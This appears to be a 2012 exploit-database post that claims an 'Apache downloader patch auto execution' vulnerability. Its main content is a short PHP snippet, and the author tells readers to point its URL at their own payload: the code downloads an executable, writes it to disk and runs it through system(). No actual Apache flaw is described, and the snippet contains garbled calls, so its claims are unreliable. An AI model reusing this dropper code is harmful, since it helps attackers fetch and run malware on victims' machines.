######################################################################### # Exploit Title: Apache downloader patch auto Execution Vulnerability # Date: [12-11-2012] # Author: Hacker Alajman # Tested on: [Windows 7 ] # 1337day Exploits DataBase 1337day.com # Version: Work the code with all Version ######################################################################### /* 1337DaY Exploits DataBase 1337day.com _____ _ _ ____ _ _ / ____| | | | | | _ \ | | | | | | __ ___ __| | ___ __| | | |_) |_ _ | |__ __ _ ___| | _____ _ __ | | |_ |/ _ \ / _` |/ _ \/ _` | | _ <| | | | | '_ \ / _` |/ __| |/ / _ \ '__| | |__| | (_) | (_| | __/ (_| | | |_) | |_| | | | | | (_| | (__| < __/ | \_____|\___/ \__,_|\___|\__,_| |____/ \__, | |_| |_|\__,_|\___|_|\_\___|_| __/ | P2@hotmail.com Ar9@hotmail.com http://mohancheema.net/alajman.zip |___/ _ _ /\ | | (_) / \ | | __ _ _ _ __ ___ __ _ _ __ / /\ \ | |/ _` | | '_ ` _ \ / _` | '_ \ / ____ \| | (_| | | | | | | | (_| | | | | /_/ \_\_|\__,_| |_| |_| |_|\__,_|_| |_| _/ | |__/ */ Hello Dears the Vulnerability Start your patch But Must The victim start the php code on Apache Localhost i will show how the code its working first $alajman = 'http://127.0.0.1/alajman.exe'; change the link for your Patch change $fp = fopen('alajman.exe','w'); for name Your Patch system('start name Your alajman.exe'); name your patch again and you can test for %windir%\system32\calc.exe for this system('start name Your alajman.exe'); or system32('calc.exe'); ____(code)____ <?php $alajman = 'http://127.0.0.1/alajman.exe'; $fp = fopen('alajman.exe','w'); fwrite($fp,file_get_contents($alajman)); fclose($fp); system('start name Your alajman.exe'); ?> ____(code)____ ######################## #########Greetz: Hacker alajman / AnGer Hacker /#########